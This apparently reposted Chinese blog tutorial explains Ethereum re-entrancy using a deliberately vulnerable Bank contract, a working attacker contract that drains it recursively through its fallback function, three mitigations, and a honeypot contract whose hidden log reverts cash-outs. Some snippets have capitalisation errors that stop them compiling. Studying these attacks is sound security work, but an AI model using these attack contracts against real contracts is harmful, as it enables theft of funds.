可重入漏洞

安全性是我们编写智能合约时要考量的最重要的因素之一。在智能合约编程领域,错误总是很轻易而又很昂贵地在发生。与其他程序一样,智能合约程序当然也会严格按照其程序逻辑来执行,虽然结果并不总是像程序员们所设想的那样。此外,所有智能合约都是公开可见的,任何人都可以简单地构造一个交易来与它们进行交互。

  1. 重入

以太坊智能合约的特性之一就是能够调用和使用其他外部合约的代码。合约通常也会用来处理以太币,因而也会经常将以太币发送到不同的外部用户地址。这些处理都需要合约提交外部调用。这些外部调用有可能会被攻击者劫持,迫使合约(通过回退函数)执行额外的代码,包括那些返回到合约自己代码的调用。 臭名昭著的DAO攻击中使用的就是这种方式

  • 漏洞细节

以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅局限于外部账户,合约账户同样可以拥有Ether,并进行转账等操作。

向以太坊合约账户进行转账,发送Ether的时候,会执行合约账户对应合约代码的回退函数(fallback)。一旦向攻击者合约地址发起转账操作,迫使执行攻击合约的回退函数,回退函数中包含回调被攻击者自身代码,将会导致代码执行“重新进入”合约。这种合约漏洞,被称为重入漏攻击Re-Entrancy。

以下面两个合约为例进行说明:

银行合约(Bank)吸纳储户存款,同时也响应储户的提款要求。逻辑很简单,但是有两处致命缺陷。

  1. 使用call函数,给不法分子进行重入攻击的机会。

Call函数有两个特性:

1.call函数会将所有剩余gas用于外部函数调用,为多次回调创造条件。

2.call函数如果调用失败只会返回false,而不回滚交易。

  1. 代码逻辑结构上考虑不周,用户余额信息在重入攻击过程中始终不会改变,为重入攻击提供了准入条件

攻击者合约(Hack)利用以太坊合约公开可见的特性,通过构造函数获取银行合约的实例,向银行存钱创造攻击的前提条件,最后通过fallback函数递归调用银行合约的提款函数,实现多次反复提款的目的。此外,攻击者合约还设置了一个记录调用栈层级的变量,防止因为调用栈层次过深导致交易异常造成回滚。文档中说明以太坊调用栈不能超过1024,否则出现异常,造成交易回滚,贪心不足蛇吞象,竹篮打水一场空。(此处有待细究)

 

pragma solidity >=0.4.22 <0.6.0;

contract Bank { //被攻击的合约

    mapping(address => uint256) public usersinfo; // 银行账户信息

      // 用户存钱,保存到usersinfo,先存钱然后才能取钱

    function save() public payable returns (uint256){

        require(msg.value>0);

        usersinfo[msg.sender]=usersinfo[msg.sender]+ msg.value;

       return usersinfo[msg.sender];

    }

    // 显示账户余额

    function showBalance(address addr) public view returns(uint256){

        return usersinfo[addr];

    }

    // 显示总账户余额,测试使用

     function showTotalBalance() public view returns(uint256){

        return address(this).balance;

    }

    // 用户提现

    function withdrawal() public payable{

           // 判断是否到期,或者是否锁定等。

        // require(now>saveTime+10)

        uint amount = usersinfo[msg.sender];

        // 账户有钱才提现

        if(amount>0){

            //安全问题关键代码,call函数自身特性决定

            msg.sender.call.value(amount)("");

            usersinfo[msg.sender]=0;

        }

    }

    function()  external payable{}

}

pragma solidity >=0.4.22 <0.6.0;

import "./bank.sol";

contract Hack { //攻击者合约

       Bank public bank; // 银行实例

    uint256 public stack=0; // 调用栈,次数过大会异常,异常会导致交易回滚

    // 构造函数,获取银行合约实例,进行攻击准备1

    constructor(address payable _bankAddr) public payable{

        bank = Bank(_bankAddr);

    }

    // 向银行存钱,构造攻击条件2

    function bankSave() public payable returns (uint256){

       return bank.save.value(1 ether)();

    }

    // 拿回自己合约的钱,当然这里可以加权限,onlyHacker,只有黑客可以提现

    function collectEther() public {

      msg.sender.transfer(address(this).balance);

    }

    // 从银行提现,发起攻击3

    function withdrawal() public {

        bank.withdrawal();

    }

    // fallback函数,

    function() external payable{

        stack += 1;

        if(msg.sender.balance >=1 ether && stack < 200){ //防止过于贪婪造成回滚

               bank.withdrawal();// 如有钱就提现,重入,构成反复提现的循环

        }

    }

}

  • 缓解措施
  1. 首先就是(尽可能地)使用内置的 transfer函数来向外部合约发送以太币。因为transfer函数仅会给外部调用附加额外的2300 gas,这些gas并不足以支持目标地址/合约再次调用其他合约(就是不足以重入发送以太币的合约)。
  2. 第二种技术就是确保所有对状态变量的修改都在向其他合约发送以太币(或者发起外部调用)之前来执行,即所谓的“检查-生效-交互”(Checks-Effects-Interactions)模式。
  3. 第三种技术就是引入互斥锁,也就是增加一个状态变量来在代码执行中锁定合约,避免重入的调用。

pragma solidity >=0.4.22 <0.6.0;

contract Bank {//被攻击的合约

mapping(address => uint256) public usersinfo; // 银行账户信息

bool reEntrancyMutex = false;//增加重入标志

      // 用户存钱,保存到usersinfo,先存钱然后才能取钱

    function save() public payable returns (uint256){

        require(msg.value>0);

        usersinfo[msg.sender]=usersinfo[msg.sender]+ msg.value;

       return usersinfo[msg.sender];

}

。。。。。。

    // 用户提现

function withdrawal() public payable{

    require(!reEntrancyMutex);//检查重入标志

        uint amount = usersinfo[msg.sender];

        // 账户有钱才提现

        Require(amount > 0);//先进行各种检查,如余额、日期、账户冻结状态等(Checks)

        usersinfo[msg.sender]=0;//然后将用户余额清零(Effects)

        reEntrancyMutex = true;//设置重入标志

        msg.sender.transfer (amount); //最后使用相对安全的transfer函数(Interactions)

        reEntrancyMutex = false;//恢复重入标志

    }

    function()  external payable{}

}

在早期存在这样可重入漏洞的合约非常多,因此有许多“财务自由爱好者”热衷于寻找这样的漏洞合约,来一夜暴富。看下面这个合约。

 

pragma solidity ^0.4.19;

contract Private_Bank{

    mapping (address => uint) public balances;

    uint public MinDeposit = 1 ether;

Log TransferLog;

    function Private_Bank(address _log) {

        TransferLog = Log(_log);        // monkey business

}

    function Deposit()  public  payable {

        if(msg.value >= MinDeposit) {

            balances[msg.sender]+=msg.value;

            TransferLog.AddMessage(msg.sender,msg.value,"Deposit!");

        }

}

    function CashOut(uint _am) {

        if(_am<=balances[msg.sender]) {

            if(msg.sender.call.value(_am)()) { //此处可重入

                balances[msg.sender]-=_am;

                TransferLog.AddMessage(msg.sender,_am,"CashOut");

            }

        }

    }

    function() public payable{}   

}

//下面是一个非常简单的记录数据的合约,简单到“没用”!

contract Log {

    struct Message {

        address Sender;

        string  Data;

        uint Val;

        uint  Time;

}

    Message[] public History;

Message LastMsg;

   

function AddMessage(address _adr,uint _val,string _data) public {

        LastMsg.Sender = _adr;

        LastMsg.Time = now;

        LastMsg.Val = _val;

        LastMsg.Data = _data;

        History.push(LastMsg);

    }

}

一个“财务自由爱好者”很容易写出对应的exploit合约:

Contract Exploit{

Private_Bank target;

Function Exploit(address addr) public payable{

    Target = Private_Bank(addr);

    Require(msg.value == 5 ether);

}

Function Put() public {

    Target.Deposit.value(2 ether)();//先存2个ether,略表诚意

}

Function tryIt() public {

    Target.CashOut(1 ether);//开始提款,做梦都能笑醒

}

Function() public payable {

    Target.CashOut(1 ether);//回调CashOut,不断的提款、财务自由了!

}

}

结构简单、逻辑清晰、毫无问题。

但是,偷鸡不成蚀把米!财务自由之梦破灭了!

Private_Bank银行合约的部署者是个骗子,他使用偷梁换柱的手法,用来初始化合约时所给的构造函数的参数并不是contract Log部署时的地址,而是下面这个FakeLog合约的地址。原因是合约公开部署时审查不严。

contract FakeLog {

    struct Message {

        address Sender;

        string  Data;

        uint Val;

        uint  Time;

}

    Message[] public History;

Message LastMsg;

   

function AddMessage(address _adr,uint _val,string _data) public {

        LastMsg.Sender = _adr;

        LastMsg.Time = now;

        LastMsg.Val = _val;

        LastMsg.Data = _data;

        History.push(LastMsg);

        If(bytes(_data).length == 7){

    Revert();//回滚啦

}

    }

}

猜你喜欢

转载自blog.csdn.net/kugool/article/details/123506645
今日推荐